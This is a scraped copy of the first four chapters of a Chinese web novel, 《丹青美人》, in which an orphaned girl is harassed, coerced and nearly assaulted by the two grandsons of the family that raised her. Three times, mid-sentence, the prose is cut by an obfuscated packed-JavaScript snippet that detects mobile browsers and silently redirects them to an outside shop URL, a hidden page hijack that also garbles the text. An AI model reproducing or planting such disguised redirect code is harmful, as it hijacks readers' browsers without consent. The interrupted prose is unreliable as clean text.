《丹青美人》 1. 第一章 大晟泰和三年的冬,京城的雪下的各外大。 漫天飞舞的雪花,似一阵风掀落梨瓣,在肆虐寒风中大片大片的坠落。 宁王府的暖阁中却是另外一番天地,錾花的铜盆中,银骨炭烧得极旺,不时发出细微的噼啪声。玉壶春瓶中的腊梅虬枝横斜,散发着阵阵幽香。 丫鬟青黛在暖阁中忙前忙后的,只因暖塌上这位已经昏迷了一月有余的姑娘终于有了些许动静。 宁王朱弘毅风尘仆仆地从外归来,他踏入暖阁的一瞬,携进一股凛冽的寒气,锦衣玉带之上犹覆着未及拂去的积雪。 青黛忙把王爷拦在了外屋:“殿下,外面寒气重,姑娘的病情刚刚才有了点起色,您可万万不能把寒气渡给姑娘了。” 朱弘毅脚步顿住,目光越过屏风,向内间的暖塌上深深望了一眼。 青黛继续说道:“还昏睡着,刚刚有了些许动静,后又沉睡了过去,王老太医之前来看过,说能熬过这个冬天,便有好起来的希望。” 朱弘毅轻轻颔首,也没多说什么,他抬手拂了拂肩上的残雪,转身便离开了,高大的身影再次没入门外的漫天风雪之中。 ——— 暖阁深处,周妙雅仍陷在漫长的昏迷中,她仿佛做了一场很长的梦。 梦中她回到了年少时代,苏州府一年一度的虎丘诗会。 她自小无父无母,打出生便被寄养在苏州府长洲县文家。 好在文老太爷和文老太太对她视如己出,如亲孙女儿般疼爱着,打小也没让她吃过什么苦。 文家长孙文毓瑾比周妙雅大三岁,如今已是少年才子,锋芒初露。文家次孙文毓瑜与周妙雅同岁,却是一副顽劣厌学的模样。 文家乃是百年文脉世家,天下文脉一呼百应,文老太爷文敬远更是大晟朝公认的文坛泰斗,少年时即已成名,暮年更是德高望重,江南一年一度的文坛盛会,必会邀请文老太爷亲自坐镇。 诗会之上,群贤毕至,曲水流觞,丝竹绕梁。 意气风发的少年文毓瑾身着一身藏蓝镶青罗的儒衫,于众人的瞩目之下从容起身,他面容俊秀,姿态优雅,已俨然一副世家大公子的模样。 文毓瑾提笔挥墨,落笔所写诗句清丽,押韵精巧,意境不俗,引得满座鸿儒纷纷抚须称赞。 “文家长孙,果然名不虚传。” “小小年纪便有如此才情,文家百年文脉后继有人了。” 文老太爷端坐主位,捻须微笑,眼中虽有赞许,却不意外,毕竟是文家倾注全部心血培养的长房长孙,自然是有过人之处的。 众人的赞叹还未落下,文老太爷却带着慈爱的微笑,温柔地朝人群中招了招手:“雅儿,到祖父这来。” 一时间,所有的目光都投向那个被文老太太牵着,粉装玉琢的小姑娘身上。 她被众人投来的目光映的有些害羞,但还是乖巧地走了过去,在众人面前站定,上身微微前倾,朝众人行了个揖礼。 文老太爷拉过小女孩的手,指了指面前长案上已铺好的一张素白宣纸,宣纸旁边放着一方古砚,正好刚刚磨好新墨,散发着阵阵墨香。 文老太爷慈爱道:“雅儿,今日盛景,不可无画,将你方才所见,画与诸位先生可好?” 周妙雅抬头看了看祖父鼓励的眼神,点了点头,只见她踮起小脚,伸着小手去够笔架上悬挂的一只狼毫笔。 在众人或好奇、或疑惑的目光下,她凝神静气,丝毫不怯场,笔尖蘸满浓墨,挥洒间落于纸上。 只见笔下山石嵯峨,似有虎丘之形,流水潺潺,仿佛曲水之韵,人物虽只寥寥数笔勾勒,却意态生动,尽显雅士风流。 更令人拍案叫绝的是,她的运笔、用墨、技法、构图与气韵,竟与文老太爷的画风有七八分神似。虽笔力尚显稚嫩,但那份灵性与悟性,已堪称惊艳。 “妙哉!妙哉啊!”刚刚还在夸文大郎的一众儒士都围了过来,齐齐拍手称赞道。 “观此画,如临奇境!文公,您这位小孙女,可了不得啊!” 称赞之声络绎不绝,如潮水般涌向小姑娘,文老太爷开怀大笑,满是自豪,将小小的人儿揽入怀中,抚须颔首称赞道:“老夫这点微末的技艺,也算是后继有人了。” 人群的角落,一浪高过一浪的赞誉不断涌向文毓瑜的耳中,他死死攥着拳头,指甲深深掐进了掌心。 就在刚刚,他还被母亲逼着背一首简单的诗,准备稍后也去露个脸,他背的磕磕巴巴,急的满头是汗。 他远远地望过去,见自己最敬重的祖父将周妙雅揽在怀里,接受着天下群儒的万众瞩目,看着她那张精致的小脸儿因夸赞而微微泛红,甚至比以前更漂亮了许多。 他想着自己连一首简单的诗都背不下来的窘迫,再看看春风得意的周妙雅,所有最初的羡慕与嫉妒,在那一刹那,悄然地扭曲成了一丝冰冷的怨恨。 诗会还在热火朝天地进行着,大人们沉浸在风雅的谈笑声中,孩子们则多少有些无聊。 周妙雅和文老太太一起吃了会点心,她转头看向远处无人的角落里,潺潺的溪水边,文二郎正蹲在那里,闷闷不乐地拿着一根树枝戳着水里的落叶。 周妙雅想着文老太太说过的话,二郎是你从小就订下亲事的,是你未来的夫君,平日里你要与二郎多亲近些。 想到这里,周妙雅只觉面颊微微泛红,她提着罗裙,轻轻走到文二郎身边,想问问他为什么如此闷闷不乐。 文二郎见周妙雅走到身后,刚刚涌上头的嫉妒之情还没有消散,他看着一个外姓、没有血缘关系的女子,硬生生地夺走了祖父本该对他的爱,他想着祖父搂着她那开心的模样,再对比祖父对自己的严厉与不耐烦,只觉心中一股恶气猛的往头顶冲去。 文二郎环顾了下四周,见文老太太和其他大人们都在远处的凉亭吃点心聊天,他见周妙雅还想安慰他,便指着溪边一株开的正艳丽的花说道:“我心情不好,想要那枝花解闷儿,你去采给我。” 周妙雅也没有多想,便顺着他指的方向去到了溪水边,俯身想去拾那枝花。 文二郎趁着四周无人留意,猛地站起身,用尽全身力气,从背后狠狠推了一把周妙雅。 周妙雅猝不及防,惊叫了一声,整个人失去平衡,扑通一声栽进了冰凉刺骨的溪水中。 可惜诗会正是热火朝天之际,无人听到这边的异动。 溪水不深,只及腰际,但周妙雅受了惊吓,在川流的溪水中,困难地想要站起身来。 好在文大郎及时赶到,将她整个人从水中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922311|192608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捞了出来。 周妙雅浑身湿透了,沾了水的罗裙很难掩住裙下做工精巧的绣鞋。 慌乱中,她见文大郎的眼神直勾勾地盯着她的绣鞋看,便下意识地想要把脚往裙里回撤,可罗裙沾了水,任凭她怎样努力都是徒劳的。 丫鬟白芷拿着披风,气喘吁吁地跑了过来,一把用披风裹住自家小姐,声音带着哭腔,关切道:“小姐可还好?怎地就突然落水了?” 周妙雅冻得唇色发白,只是轻轻摇头,还未来得及开口,一旁便伸来一只有力的手臂,文大郎已自然而然地从白芷手中将人接了过去。 他指尖不经意擦过周妙雅湿透的臂膀,让她不由自主地轻颤了一下。 “还不快领你家小姐去更衣?”文大郎语气中带着命令,目光淡淡扫过白芷,小丫鬟立刻噤声垂首。 文二郎却无半点儿悔意,仿佛大仇得报了一般,站在一旁沾沾自喜着。 文大郎半扶半抱着周妙雅,在经过文二郎身边时,脚步虽未停,却极低极快地丢下一句警告,那声音只有他们三人能听到:“安分点,她不是你能碰的。” 被文大郎半强制地揽着走向厢房的每一步,都让周妙雅小小的身子僵硬无比。溪水的寒意早已渗入骨髓,但更让她发抖的,是文大郎搁在她肩头那只手的热度,以及他方才盯着她绣鞋时,那种毫不掩饰的、让她本能恐惧的目光。 他的指尖,似乎无意地在她湿透的肩臂处摩挲着。 周妙雅猛地一颤,像被烫到一般,下意识地想缩紧肩膀,却被那看似扶持,实则不容抗拒的力量禁锢着。 “冷?”文大郎低下头,呵出的气息拂过她的额发。可眼神深处,却寻不到半分真正的关切,仿佛在欣赏一件意外落入掌中的、湿淋淋的瓷娃娃。 周妙雅死死咬住下唇,摇了摇头,不敢说话。 到了厢房门口,文大郎终于松开了手,白芷赶忙上前扶住自家小姐。 “仔细伺候着,若着了凉,唯你是问。”文毓瑾吩咐白芷,目光却又在周妙雅裙摆下那双若隐若现、沾满泥水的绣鞋上停留着,盯了半晌,方才转身离去。 门关上,隔绝了外面的喧嚣,也暂时隔绝了那令人窒息的目光。 白芷手忙脚乱地帮周妙雅褪下湿透的衣裙,用细棉布巾子擦拭她冰冷的身子和湿发。小丫鬟脸上还带着未散的惊慌,嘴里絮絮叨叨:“吓死奴婢了,幸好大少爷来得及时…小姐您没事吧?” 周妙雅抱着手臂,瑟瑟发抖,牙齿磕碰着,说不出话。 白芷拿起干净的里衣,动作忽然顿了顿,脸上露出些困惑,小声嘀咕:“不过…大少爷刚才…好像和平时不太一样…” 周妙雅抬起湿漉漉的眼睫看她。 白芷歪着头,努力组织着语言:“大少爷平日对谁都温和有礼,说话做事最是妥帖周全的,方才…方才他抱着您过来时,眼神直勾勾的,奴婢说不好,就是…就是有点吓人。” 她顿了顿,声音压得更低,带着孩童式的懵懂与直白:“尤其是他看着小姐您的脚的时候,好像要把那绣鞋看穿似的…” “别说了!”周妙雅猛地打断她,声音尖细,带着自己都未察觉的惊惧。 白芷被吓了一跳,立刻噤声,不敢再多言,赶紧替她穿好衣服。 2. 第二章 也不知又过了几日、几时,外间的雪似乎小了许多。 宁王朱弘毅带着新折的腊梅枝走进暖阁,蜿蜒曲折的枝干上,腊梅含苞待放。 他挥手止住了欲起身行礼的青黛,将腊梅交到青黛手上,目光落在了暖塌上那张依旧沉睡的苍白面容上。 他放轻脚步,走到暖塌前的梨花木凳上坐下,动作娴熟自然,仿佛已经重复过无数次。 他确实经常来看周妙雅,虽然每次来的时候,她都是沉沉地睡着。 他有时会感知到她情绪上微小的变化,她的每一次眉心微蹙,每一次呼吸急促,每一次泪滴滑落。 他沉默地坐着,深邃的目光凝在周妙雅苍白却清丽的面容之上,仿佛想要穿透她,看清她究竟陷在怎样的梦魇里。 突然,榻上的人儿羽睫微颤,眉心悄然蹙起,原本平稳的呼吸也变得急促浅乱起来。她的眼角渗出了一滴晶莹的泪珠,泪珠顺着鬓角缓缓滑过,留下一道泪痕。 朱弘毅敏锐地发现了这滴清泪,他轻轻用温热的软巾极其小心地拭去那道泪痕,又将锦被的边角仔细掖好。 周妙雅又做了一个长长的梦。 苏州,文府,暮春午后。 海棠花已谢,庭院中的绿荫渐浓。 时间转瞬即逝,文老太爷已过世三年有余。 苏州城里与文老太太交往甚密的贵夫人们都知道,文家有女初长成,文家收养的表小姐有一副惊人的美貌。她身材纤细,一张标准的瓜子脸尚未完全褪去少女的柔润,一双大而明亮的眸子如秋水横波,无端惹人怜惜。 然而,这般过于出众的容貌,对于无父无母、寄人篱下的她而言,是福是祸,犹未可知。 文大郎文毓瑾,和祖父一样少年成名,年方二十出头便已是举人功名,才名远播。 文家的长孙少年中举,所有人都不意外,文家百年文脉,在世人眼中理当如此。 如今的文大郎,愈发显得清贵逼人,仪态举止、待人接物皆无可指摘。 唯独在周妙雅面前,文大郎那份完美世家公子哥的皮囊下,总会流露出一种不容错判的掌控欲。 周妙雅无论做什么事情,总觉得有一双炙热的眼睛在无形之中盯着她看。 她像往常一样会在祖父生前的书房中,临摹他的画作,文大郎总是悄无声息地出现在她身后,温热的呼吸拂过她的耳畔。 “这一笔,力道有些过了。”文大郎极其自然地从身后握住她执笔的手,带着她的手,一点点修正笔墨皲法。 周妙雅的脊背瞬间僵直,握着笔的手指下意识收紧,可随之而来的,是文大郎将她整个人覆住,胸膛紧贴着她的脊背,隔着一层薄薄的衣料,她能清晰地感受到他沉稳的心跳和灼人的体温,这亲密无间的距离让她头皮发麻,呼吸困难。 周妙雅下意识地浑身一颤,像被烫到一般,猛地就想抽回手。 “别动。”他声音温和,却带着一丝命令的口吻,随即便突然加重覆在她手背上的力道,如铁钳般将她牢牢固定在原地。 周妙雅试图缩紧肩膀,想要从他笼罩下的方寸之地逃离,哪怕只是一寸。可她刚一动,他揽在她身侧的另一只手臂便看似无意地收紧了些,形成一个更完整的包围圈,将她彻底困在他与书案之间。 “大…大哥哥,我…我自己可以……”她细声细语,带着难以掩饰的惊慌与恳求。 “嘘…” 他低下头,唇几乎要贴上她的耳畔,气息灼热:“专心,笔意如心绪,一散,就全乱了。” 他的话语看似是在点拨,实则是某种带着威胁的暗示。 每一次指导的时间都出奇的漫长,直到他满意了,才会缓缓松开手。 那骤然离去的温度和压力,让她长舒一口气,同时更清晰地感受到一种劫后余生般的虚脱与屈/辱。 这样的事情在伴随着周妙雅一日日长大之后,时常发生,文大郎好似全然不在意她与文二郎已有婚约,处处流露着她早已是他囊中之物的自信与威胁。 一次夜深人静,府中多数人已歇下,周妙雅因白天一幅画未能画出心中所思意境,辗转难眠。 她起身批上外衣,想去藏书楼里去寻一寻前朝画家倪瓒的画作,她想细细参详,找一找意境和灵感。 她提着一盏暗黄的明角灯,只身一人悄悄来到藏书楼,光影摇曳,她踮着脚在书架上仔细搜寻着。 “雅儿,如此深夜,怎在此处?”低沉沙哑的声音从身后传来,周妙雅吓得一惊,手上的明角灯重重摔到了地上。 文毓瑾帮她捡起了地上的灯,轻轻拂了拂,放到了一边。 他缓步走近,炙热的眼神一刻也不曾从周妙雅身上移开,此间只有他二人,文大郎的眼神里褪去了平日里温润的伪饰,变得极具侵/略性。 周妙雅下意识地后退了一步,脊背却轻轻抵在了冰冷的书架上,她明白自己已无路可退。 “大哥哥,听祖母说,你今日去王翰林家赴宴了,怎得有功夫在深夜来藏书楼?”周妙雅声音微颤,双手紧紧地握着。 “宴席散了,便回来了。”文大郎答的随意,凑近的气息中带着酒气。 “倒是你,深夜不寐,在此用功?”文大郎的目光死死盯着她,仿佛要将她握在手心里揉碎融化。 周妙雅垂首,不敢看他,如花季节的年轻男女,深夜独处一室,还靠得如此近,心底怎能不生出一丝心烦意乱。 文大郎伸出手,轻拂过她垂下的如丝秀发,越过她的肩头,轻而易举地从书架上取下那卷她遍寻不到的倪瓒山水。 只是这动作,几乎将她圈在了他与书架的方寸之间。 “是寻这个?”他垂眸看着手中的卷轴,指尖漫不经心地划过绸缎制成的标注,动作缓慢得近乎狎昵。 说罢,他又向前迫近半分,周妙雅被迫向后仰去,后脑勺几乎要抵到冰凉的架格,退无可退。 文毓瑾周身那混合着酒气与檀香的气息,如同无形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922312|192608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的牢笼,将她紧紧包裹住。 他声音低沉,略带一丝不属于自己年龄的磁性沙哑:“遇到困难,为何不来寻我?” 他的目光从卷轴上抬起,重新锁住她,眼神中拂过一丝若有若无的不悦。 “我…我只是不想打扰大哥哥的学业。”周妙雅偏过头去,不敢看他,两人在昏暗的灯光下靠的太近,连呼吸声都显得惊慌失措。 “打扰?”他听到这字眼,玩味地笑了笑。 “雅儿,你似乎总是忘记…”他俯身贴近,温热的唇几乎要碰到她敏感的耳廓。 周妙雅猛地一颤,全身绷紧如拉满的弓弦。 他似乎察觉到了她此刻的颤栗,一股征服欲从心底直涌入脑顶,他声音压得极低,仿佛在宣誓自己的主权:“你的事,于我来说从来都不是打扰…” 周妙雅几乎屏住了呼吸,浑身僵硬地站在那里,不知作何回应。她下意识地抬起手臂,徒劳地隔挡在两人之间,手心抵住他微凉的道袍前襟,试图推开一丝距离。 文毓瑾没有动用丝毫力气去压制她那微弱的抵抗,他只是感受着她掌心下那隔衣传来的、细微却激烈的抗拒与颤抖,眸色愈发幽深。 他的指尖似有若无地、极其缓慢地拂过她滚烫的耳垂,沿着她紧绷的颈侧线条向下,那触碰轻得像羽毛,却带着灼人的温度,所过之处,激起她一阵又一阵无法抑制的战栗。 “画不出,是心不静。”文大郎低语,目光贪婪地攫取着她因恐惧和羞愤而染上绯红的脸颊,以及微微颤抖的唇瓣。 四周的黑暗黏着令人窒息的压力包裹着她,仿佛要将她吞没。 “夜已深,寒气重,既已找到倪瓒画作,求大哥哥放我回去吧……”周妙雅略带着哭腔,鼓足勇气道。 她甚至用上了求字。 文毓瑾静默地凝视了她片刻,那目光仿佛在欣赏一件即将彻底归属于他的,正在做最后无望挣扎的珍宝。 他看到她眼角渗出的、将落未落的泪珠,看到她紧紧咬住的下唇。 终于,他似是觉得今夜已足够,抑或是那滴泪暂时浇熄了他眼底更深的幽暗,他极缓地、带着一丝未尽兴的遗憾,直起身。 那令人窒息的压迫感骤然撤离。 周妙雅几乎虚脱,腿软得险些站立不住,她慌忙接过他递来的画轴,冰凉的指尖与他微热的皮肤一触即分,如同被烙铁烫到一般迅速缩回。 “多谢…大哥哥。”她声音破碎,几乎是仓皇地从他身侧的空隙中挤了出去,抱着那卷画轴,像一只受惊的兔子,头也不回地逃离了。 直至那脚步声彻底消失,文毓瑾依旧伫立在原地未动。 他缓缓抬起方才拂过她颈侧的手指,指尖极其缓慢地相互摩挲着,仿佛还在回味那细腻肌肤的触感,和她无法控制的战栗。 他深深吸了一口气,空气中似乎还残留着她发间那缕淡淡的茉莉冷香。 黑暗中,他唇角勾起一抹极淡,却足以令人胆寒的弧度。 3. 第三章 文二郎文毓瑜,惯会伪装。平日里在文老太太面前,他乖巧懂事,功课虽平平,但态度极其恭顺,言语体贴,将一个失去祖父后努力上进、孝顺祖母的孙儿形象扮演的极好。 一旦脱离了大人的视线,他就像变了一副面孔。 周妙雅新完成的画作,会意外地被墨点污损。她精心研磨好的群青色,会不小心被打翻在地。她路过花园,会恰好有冰冷的浇花水溅湿她的罗裙。 次数多了,周妙雅怎会不知是谁所为? 她的画作一次又一次被毁,她终于忍不住,在回廊的角落里堵住了嘴角噙着得意笑容的文二郎。 “二郎为何总是与我过不去?”她声音气的发颤,带着委屈与愤怒。 文毓瑜抱着胳膊,懒洋洋地靠在廊柱上,上下打量她,眼神里是毫不掩饰的讥讽:“与你过不去?周妙雅,你未免太看得起自己了。这文家上下,谁还真的把你当回事?不过是个寄人篱下的孤女,靠着哄骗我祖父祖母过日子罢了。怎么?如今我祖父不在了,还想摆小姐架子?” “你!” “我怎样?” 文二郎逼近一步,压低声音,脸上带着恶意的笑:“你去告状啊,去跟我祖母说,说她的好孙儿欺负你了,你看她是信你,还是信我。别忘了,我才是她嫡亲的孙子!” 周妙雅气的脸色煞白,粉嫩的小手紧握着拳头,想要反驳,却生生将话到嘴边的控诉,咽了回去。 文二郎说的并无错处。 文老太太年事已高,经不起刺激,若自己去挑拨,伤了他们祖孙的情分,文老太太该有多伤心啊。 更何况无凭无据,文二郎又如此善于伪装,她再怎么辩解,结局只能让自己这个外人更加难堪。 是的,她终究不姓文,她在文家,怎样都只是个外人。 ———— 苏州城里最热闹的光景,莫过于一年一度的荷花宕,每年盛夏时节,城中男女便会倾城而出,一股脑儿地涌入葑门外的十里荷塘。 这一年,文毓瑜早早备下一身崭新的水蓝色道袍,手持一把洒金折扇,打扮得风流倜傥,也要去那荷花宕凑一番热闹。 他垂手敛目,立于正享用酥山的文老太太跟前,语气是前所未有的恭顺:“祖母,今日外头荷花宕盛况难得,孙儿想着,妙雅妹妹终日埋首书画,未免沉闷,不若由孙儿陪她去散散心,也全了祖母平日让我们多亲近的教诲。” 文老太太闻言甚是欢喜,立刻放下手中的青瓷盏,连声笑道:“好!好!难得我的宝贝孙儿有这份心!孙嬷嬷,快,快去把雅儿叫来!” 周妙雅很快被唤来,她身上穿了一件半旧的立领斜襟长衫和一条素色的马面裙,未施粉黛,越发显得小脸莹白,眉眼如画。她疑惑地看了眼文二郎,又望向笑容满面的祖母。 “雅儿,快来!” 文老太太拉过她的手轻抚着,慈声道:“二郎要带你去荷花宕见识热闹呢,快去换那身新做的碧色大衫,配那条珍珠云肩,还有那条苏绣的马面裙,正应景!” 周妙雅心下微沉。 她对文二郎惧意深种,平日里避之不及,当下心里就在想能找个什么借口推辞掉,可还没等她开口,文老太太已经命人把新衣服取了过来。 老太太亲自拿起衣服,在周妙雅身上比对着,目光中带着慈爱:“我们雅儿生得这般好模样,这衫子一衬,真真是谪仙般的人品!” 周妙雅见祖母的兴致高,也不好拂了她的好意,只能硬着头皮应承了下来,恭敬地接过文老太太手中的衣服:“是,祖母,妙雅这就去准备。” 看着她窈窕的背影离去,文老太太欣慰地向孙嬷嬷叹道:“瞧着吧,两个孩子多处处总是好的。大郎前程远大,亲事必寻高门贵女助他仕途。二郎是个孝顺孩子,将来守着祖产,得雅儿这般知书达理又得老爷子真传的孩子做正妻,我也能安心闭眼,去陪老爷子了。” 孙嬷嬷在一旁打着扇,连连附和:“老太太慈悲心肠,处处为儿孙计,上天必佑我文家门楣昌盛,百年流芳。” ———— 马车辘辘驶向葑门,越接近荷花宕,人声愈鼎沸。 下车时,热浪裹挟着水汽、荷香、脂粉、汗味、小吃香气扑面袭来。荷花宕旁万头攒动,摩肩接踵,锣鼓、丝竹、吆喝、嬉笑声震耳欲聋。 文二郎脸上带着奇异的兴奋,他假意护着周妙雅,口称小心人多,手臂却若有若无地引她绕过人潮杂乱,往一处僻静水岸走去。 “妙雅妹妹,这边人多瞧不真切。我知道一处好地方,景致绝佳,我早已雇好精致画舫,我们划船到荷塘深处去,那才叫人间仙境。”他指着不远处水湾里的一条船。 那船比寻常的游船略大,装饰花哨,彩绸飘舞。 船上早有几位衣着华丽、眼神轻浮浪荡的纨绔子弟,正倚栏喝酒说笑。见文二郎引周妙雅过来,几人立刻止了笑,目光齐刷刷地投来。 这一看可好,几人眼中瞬间爆发出毫不掩饰的贪婪。 其中一人忍不住倒抽了一口气,双眼直勾勾地看向周妙雅:“文…文二…这,这是哪家的天仙妹妹,你…你从何处骗来的?” 另一个结结巴巴,看的完全呆住了,手里的洒金折扇都忘了摇:“我的娘诶…苏州城里竟还有这般颜色,比那花魁娘子…不,比那画上的仙娥还要标致!” 周妙雅见这伙人言语无状,目光淫/邪,心下顿生了警兆,只见她脚步一滞,欲要抽身退走。 文二郎见状立马不乐意了,他刚被这帮纨绔子弟捧起的虚荣心瞬间涌上头顶,可由不得她这时候跑了。 他用力抓住周妙雅的胳膊,将她拽的生疼,在她耳边低语威胁道:“乖乖听小爷的话,若你让小爷在这帮公子哥儿前失了面子,小爷我定饶不了你。” 船上这伙人为首的纨绔,是苏州城巨富李员外家的小儿子,好歹也是见过大世面的,他强压下眼中的垂涎,派人迎了文二郎二人上船。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922313|192608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他用手肘撞了一下文二郎,压低了声音,语气里满是狎昵:“文二,你小子可以啊,竟藏着这等绝色,这般天仙似的人儿,你也真舍得带出来?” 文毓瑜听到这些赞捧与惊叹,顿时觉得面上有光,他脸上那点恶意的兴奋中,竟又掺杂着一丝扭曲的得意,仿佛他们夸的是他的一件稀世珍藏。 他瞟了一眼因这些赤条条的目光而下意识后退的周妙雅,心中那点因嫉妒而生的恶毒快意愈发膨胀。 文毓瑜对着李员外的小儿子扯出一个心照不宣的龌龊笑容,压低声音道:“李兄说笑了,不过是家里一个不懂事的丫头片子,带出来见见世面。诸位兄台待会儿照顾的好了,自有你们的好处,也让她…懂点规矩。” 这话一出,如同释放信号一般,船上几人立即心领神会,哄笑起来,目光也更加肆无忌惮,如同群狼环伺,愈要上前动手。 “妙雅妹妹,几位兄台都是爽快人,定会好生照顾你的。”文二郎高声说着,脸上带着恶意的冷笑。他猛地用力,将周妙雅狠狠推向前去。 污言秽语夹杂着狎昵笑声扑面而来,几只大手立刻伸来,强行拖拽惊惶失措的周妙雅上船。有人抓她纤细的手臂,力道大得痛呼,更有甚者,竟直接探手向她腰间意图搂抱。 “放开我!你们做什么!放开我!”周妙雅惊骇欲绝,全身血液涌上头又瞬间褪尽。她拼命挣扎,云肩上的珍珠噼里啪啦地落在甲板上,几次险些摔倒。 周围喧嚣震天,却似无人留意这角落里的暴行。 “文毓瑜!你混蛋!救我!”她嘶声哭喊,泪水模糊了视线。 就在她几乎被彻底拖入船舱的绝望关头,一声暴喝撕裂喧嚣,声音仿若裹挟着滔天的怒火:“住手!我看谁敢动她!” 声音未落,只见文毓瑾面色铁青,眸中寒气凛冽,平日里的温润荡然无存。他身后是四五名手持短棍、面色凶悍的家丁,毫不客气地分开了混乱人群,疾步冲来。 纨绔子弟们被这阵势吓住,动作一滞:“文…文大郎?”“他怎的来了…” 文毓瑾甚至未看那些渣滓,他冷凛的眼风死死盯着人群中面无血色,正欲偷偷溜走的文二郎。那一眼,充满毫不掩饰杀意鄙夷,足以让文毓瑜如坠冰窟,浑身僵硬。 下一刻,文毓瑾已大步上前,猛地推开还抓周妙雅手臂的纨绔,力道之大让对方踉跄差点摔倒。他迅速脱下自己月白云纹杭罗外衫,将钗环散乱、衣衫不整的周妙雅严实裹住,打横抱起。 “走!”他声音冰冷,抱起周妙雅转身便走。家丁簇拥护卫,目光凶狠扫视四周,迅速隔开所有看热闹的视线。 是夜,文府后院传来凄厉惨叫,据称,文二郎文毓瑜酒后失足,从假山重重摔下,不仅鼻青脸肿,门牙磕断两颗,一条胳膊脱臼,身上更是多处严重擦伤淤青,惨不忍睹,足足嚎叫了半夜,此后旬日未能下床。 府中下人窃窃私语,眼神闪烁,却无一人敢深究这失足背后真相。 4. 第四章 周妙雅被文毓瑾一路无言抱回文府偏院,这里平日里便严禁闲杂人等靠近,此刻更显寂静。他径直将她抱入东厢僻静的客房,反手砰地合上门,隔绝了外面的一切。 室内光线昏暗,只余窗外廊下的明角灯透入微光。 文毓瑾将她放在冰冷榻上,阴影顷刻覆压。他双臂撑在她身体两侧,将她彻底困在床榻与他胸膛之间的逼仄空间。 他居高临下地盯着她,胸膛因怒气疾走微微起伏,眼底满是尚未平息的暴怒。 “现在你看清楚了?” 他声音低沉沙哑,裹着还未消散的怒火:“你现在明白文毓瑜背地里是什么货色了?这就是你将来要托付终身的人?他今日能将你推给那些纨绔糟践,明日就能为了银子把你卖进那最下等的肮脏之地。祖母若是真的有一天不在了,你若是还守着和文毓瑜那一纸婚约,便是万劫不复的深渊。” 周妙雅惊魂未定,被他骇人的气势逼得瑟瑟发抖,后背紧贴着坚硬的床板,泪水早已决堤。 她拼命摇头,语无伦次:“不…不是的…我不知他会…我不知道…” “不知道?” 文毓瑾猛地伸手,用力捏着她的下巴,力道之大让她痛呼出声,被迫抬起泪眼迎向他骇人的目光:“你还要自欺欺人到几时?睁开眼看清楚!在文家除了我,谁还会在意你的死活?谁还会在你被欺辱时不顾一切冲过去把你抢回来?谁还会真心想要护着你?” 他的话狠狠刺穿了周妙雅最后的心防,极致的恐惧与委屈交织爆发,她涕泪交加,浑身如痉挛般颤抖:“…我错了…大哥哥…我知道错了…求求你…放过我吧…求你放过我…我害怕…” 她哭得撕心裂肺,几乎喘不上气,脆弱的仿佛下一刻便要碎裂。 文毓瑾死死盯她这般彻底崩溃的模样,眼底翻涌着暴怒的戾气:“放过你?” 他重复这三字,声音低沉下去,却带令人毛骨悚然的平静:“雅儿,你怎么还是不懂。” 他俯下身,靠得极近,鼻尖几乎快要碰到她,深邃的眼眸在昏暗中闪着幽光,声音低如恶魔呓语,只有她一人能听见:“自祖父将你从外面抱回来,你的名字写在文家族谱之旁的那刻起,你生是文家的人,死是文家的鬼。你不可能离开,你也无处可去。你这辈子,注定要困死在这里。” 他指尖缓缓下滑,带灼人的温度,轻轻滑过她哭得红肿不堪、不断颤动的眼眸。 “能给你一方天地,让你继续画画,让你活下去的人…” 他顿了顿,而后吐出的每个字都清晰无比、重重敲打着周妙雅的灵魂:“从来不是文毓瑜那种烂泥扶不上墙的废物。” 他凝视她的瞳孔,在她那双带着惊骇的眸子里,清晰看到自己此刻充满占有欲和掌控力的倒影: “只有我。” 随之而来的,是骤然压下的、带着掠夺气息的逼近,他的目标明确,是她微颤的唇。 就在他气息逼近的瞬间,极致的恐惧反而像一盆冰水,暂时浇熄了周妙雅的混乱。 不行,绝对不行!他未来的正妻必定是高门贵女,那自己算什么?一个无依无靠的孤女,最终结局不过是那见不得光的妾室,甚至是更不堪的玩物。 在他的唇即将落下那千钧一发之际,她用尽全身力气,猛地偏头躲开,双手死死抵住他压下来的胸膛,全身绷紧如拉满的弓弦,每一根神经都写满了抗拒。 她从喉咙深处挤出的哭喊,带着前所未有的决绝:“别碰我!” 她的反抗,激烈而彻底,完全出乎文毓瑾的预料。他动作猛地僵住,身体维持着俯压的姿势,那双染满欲望的眼眸难以置信地盯住她。 她竟敢如此激烈地反抗他? 